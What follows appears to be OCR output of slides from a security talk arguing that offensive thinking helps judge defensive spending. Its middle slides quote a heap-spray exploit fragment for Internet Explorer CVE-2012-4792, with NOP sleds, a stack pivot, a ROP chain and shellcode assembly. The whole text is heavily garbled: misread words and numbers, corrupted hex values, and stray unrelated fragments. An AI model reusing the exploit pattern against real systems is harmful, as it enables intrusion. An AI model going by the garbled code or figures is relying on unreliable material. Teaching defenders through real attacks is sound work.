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Uncomfortable Understanding a

truths of real-world
security attack

Using offense to
valuate defense
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Uncomfortable truth #

Security is a moving target (XXX l
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Uncomfortable truth #2

Nothing you buy will make
vou 1007 secure

o
There are no absolute security ?

or|
e Deep Woods
Berkshire Hills
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Uncomfortable truth #3

Attackers invest more 1n
insecurity than you invest 1n
defense

Insecurity 1s a profitable-
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Jnderstanding a real-wor
attack

Bug seen exploited in the wild in
December 2012

» Hacked the Cowncil of Foreigfg

Fully patched Windows 7

= ITnternet Explorer 4.0
= Java 1.k
= DEP Memory Protection

We will demonstrate and explain ourvE-2012-4792
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Observe the effort

that the
attackers put 1in
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var nops = unescape("%uBcOckulctc"); var nops_90 = unescape("%uSd43%uST4b");
padding = unescape("%u6e64%uT3TORUTITORUEOTIRUEITIHUEeBIBUEB4RBUTITI ) ;
stack_pivot = unescape("%u45T8%uTc34"); /) Tc3445f8 add esp,2ch ; ret
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3T%USCc30%UTC34" ) s rop_gadgets == stack_adjust + code;
stack_pivot += rop_gadgets; rop_chain = stack_pivot
while (nops.length < Ox80088) nops += nops;
while (nops_98.length < Ox80008) nops_%0 += nops_9@;
var offset = nops.substring(@, Ox8);
var nops_padding = nops.substring(8, @x5f4-offset.length);
var shellcode = offset + nops_padding + rop_chain = nops_8@.substring(a,
Bx888-nops_padding. length-rop_chain. length);
while (shellcode.length < Ox40888) shellcode += shellcode;
var block = shellcode.substring(@, (@xBEE00-6)/2);
heap_obj.gc();
for (var z=1; z < @x2308; z++) { heap_obj.alloc(block); 7
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But dont*t we have defenses?

Attackers invest significant time
and effort to circumvent common
defenses

VVIRUS
Silver-bullet defenses are sold ;mmw gﬁmﬁ
but under-deliver when used 1in _y;mmhwwmm
real-world scenarios et el LA

Good example of security solution
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“Red Pi1l1"” Mindset:
Do you understand what your
securlity solutions can and
cannot do?

Overly general

" Negliaible protect i®R mayarsrgnteligeneernigjaive Begort #14
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7  How much does an
"M attacker have to
spend to bypass
defense X 7

How much do I
spend on defense Xf’

What is bypassing
defense X worth to
an attacker ?

How
defense X actually
worth to me ?




SSYNDIS e e
en investing your

Because thinking is hard.
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Takeaways

.. B

Attackers invest Thinking

systematically offensively helps
in defeating valuate defensive

defenses investments

All defenses
have
limitations






